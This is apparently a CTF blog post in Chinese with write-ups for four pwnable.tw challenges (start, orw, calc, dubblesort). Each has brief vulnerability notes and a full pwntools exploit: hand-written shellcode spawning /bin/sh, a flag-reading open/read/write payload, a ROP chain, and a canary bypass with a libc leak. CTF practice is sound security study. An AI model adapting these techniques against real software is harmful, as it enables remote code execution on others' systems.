[pwnable.tw] writeups

Start

  • 程序很简单,直接用汇编int 80实现的读写退出,没开NX保护,然后有个栈溢出漏洞,先泄漏栈地址,然后往栈里写shellcode,再return to shellcode即可

  • 这里我尝试自己写了个简单的shellcode

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.log_level = 'debug'
p = process('./start')


p.recvuntil(' CTF:')
#gdb.attach(p)
p.send('a'*0x14 + p32(0x08048087))

leak_stack = u32(p.recv(4))
log.success("leak stack add: 0x%x"%leak_stack)

shellcode = asm(
'''
sub esp,0x60
push 0x0068732f
push 0x6e69622f
mov ebx, esp
mov eax, 0xb
xor cl, cl
xor dl, dl
int 0x80
'''
)

p.send('a'*0x14 + p32(leak_stack+0x14) + shellcode)

p.interactive()

orw

  • 考验我们直接编写shellcode的能力,这里注意

  • 对于32位程序,应调用int $0x80进入系统调用,将系统调用号传入eax,各个参数按照ebx、ecx、edx的顺序传递到寄存器中,系统调用返回值储存到eax寄存器。

  • 对于64位程序,应调用syscall进入系统调用,将系统调用号传入rax,各个参数按照rdi、rsi、rdx的顺序传递到寄存器中,系统调用返回值储存到rax寄存器。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.binary = './orw'

#p = process('./orw')
p = remote('chall.pwnable.tw', 10001)

shellcode = asm(
#fd = open('/home/orw/flag',0)
'''
push 0x00006761;
push 0x6c662f77;
push 0x726f2f65;
push 0x6d6f682f;
mov ecx, 0x0;
mov ebx, esp;
mov eax, 0x5;
int 0x80;
'''

#read(fd,bss+0x200,0x40)
'''
mov ebx, eax;
mov ecx, 0x0804A260;
mov edx, 0x40;
mov eax, 0x3;
int 0x80;
'''

#write(1,bss+0x200,0x40)
'''
mov ebx, 0x1;
mov ecx, 0x0804A260;
mov edx, 0x40;
mov eax, 0x4;
int 0x80;
'''
)
p.sendline(shellcode)


p.interactive()

参考文章:

calc

  • 主要分析思路这篇文章写的很清楚: Pwnable.tw刷题之calc,由于调试的时候发现ebp刚好指向想写入’/bin/sh\x00’的地址,所以没有像作者那样算,直接泄漏ebp指向的地址

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *

context.log_level = 'debug'

#p = process('./calc')
p = remote('chall.pwnable.tw',10100)

def change_addr(index,value):
#get ret_addr
p.sendline('+' + str(index))
ret = int(p.recvuntil('\n',drop=True))
if value - ret > 0:
payload = '+' + str(index) + '+' + str(value - ret)
else:
payload = '+' + str(index) + str(value - ret)
p.sendline(payload)
p.recvline()

def data2num(a):
b = a.encode('hex')
num = ''
i = 0
while i < len(b):
num = b[i:i+2] + num
i += 2
return int(num,16)


pop_eax_ret = 0x0805c34b
#pop edx ; pop ecx ; pop ebx ; ret
ppp_ret = 0x080701d0
int_0x80 = 0x08049a21

p.recvuntil('===\n')



'''
+361 pop eax ; ret
+362 0xb
+363 pop edx ; pop ecx ; pop ebx; ret
+364 0
+365 0
+366 binsh_addr
+367 int 0x80
+368 '/bin'
+369 '/sh\x00'

'''

change_addr(361,pop_eax_ret)
change_addr(362,0xb)
change_addr(363,ppp_ret)
change_addr(364,0x0)
change_addr(365,0x0)

p.sendline('+360')
binsh_addr = int(p.recvuntil('\n',drop=True))
log.success('binsh addr : 0x%x'%binsh_addr)

change_addr(366,binsh_addr)
change_addr(367,int_0x80)
change_addr(368,data2num('/bin'))
change_addr(369,data2num('/sh\x00'))
p.sendline('shell')
#gdb.attach(p,'b *0x08049433')


p.interactive()

dubblesort

  • 实现了一个冒泡排序的算法,但由于没有对要排序的个数进行限制,所以会栈溢出,但开了canary,我们需要一个既让scanf认为它是合法字符,同时又不会修改栈上的数据,这里可以用+或-,因为他们可以定义正负数,输入name的时候由于没有初始化变量又没有终止符所以可以泄漏libc

  • 栈溢出的时候注意要设置溢出数据的大小排序,最终在栈中的位置是排序后的位置

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#coding:utf-8
from PwnContext.core import *

#context.log_level = 'debug'

binary = './dubblesort'
debug_libc = './libc.so.6'

ctx.binary = binary
ctx.remote_libc = debug_libc
libc = ELF(debug_libc)
ctx.debug_remote_libc = True

p = ctx.start()
libc = ELF('./libc.so.6')

def write_data(data):
p.recvuntil('number : ')
p.sendline(data)

#gdb.attach(p,'b *0x56555a1d')
p.recvuntil('name :')
p.send('a'*28)
p.recvuntil('a'*28)
libc_base = u32(p.recv(4)) - 0x1ae244
log.success('libc_base addr : 0x%x'%libc_base)
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
log.success('system addr : 0x%x'%system_addr)
log.success('binsh addr : 0x%x'%binsh_addr)


p.recvuntil('sort :')

num = 35
p.sendline(str(num))

for i in range(24):
write_data('0')

write_data('+')

for i in range(7):
write_data(str(0xf0000000))

write_data(str(system_addr))
write_data(str(system_addr + 1))
write_data(str(binsh_addr))

#gdb.attach(p,'b *0x56555af9')

p.interactive()